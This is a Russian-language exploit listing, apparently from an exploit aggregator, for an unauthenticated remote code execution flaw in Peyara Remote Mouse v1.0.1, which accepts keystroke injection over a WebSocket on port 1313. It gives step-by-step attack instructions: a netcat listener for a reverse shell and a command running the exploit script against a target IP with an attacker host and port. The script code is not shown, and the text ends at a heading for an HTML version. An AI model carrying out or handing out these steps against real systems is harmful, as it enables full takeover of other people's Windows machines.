Peyara

Название эксплойта: Peyara Remote Mouse v1.0.1 — Remote Code Execution (RCE)

Дата: 2025-05-30

Автор эксплойта: tmrswrr

Ссылка на ПО: https://peyara-remote-mouse.vercel.app/

Платформа: Windows

Версия: v1.0.1

Протестировано на: Windows 10

Описание уязвимости

Peyara Remote Mouse v1.0.1 содержит уязвимость удалённого выполнения кода без аутентификации в своём интерфейсе команд WebSocket (порт 1313). Приложение не проверяет и не очищает (санитизирует) команды имитации клавиатурного ввода, получаемые через WebSocket-соединения, что позволяет злоумышленникам выстраивать цепочки вредоносных клавиатурных событий для выполнения произвольных системных команд. Данная уязвимость может быть использована удалённо без аутентификации для полной компрометации системы.

Шаги:

1. Установите уязвимое приложение
   Загрузите и установите Peyara Remote Mouse на целевой системе Windows.

2. Запустите слушатель Netcat
   Откройте терминал и выполните:

   root@kitploit:~

   nc -nlvp 4444
   

3. Выполните скрипт эксплойта

python3 Peyara.py --target 192.168.1.107 --lhost 192.168.1.110 --lport 4444

4. HTML-версия эксплойта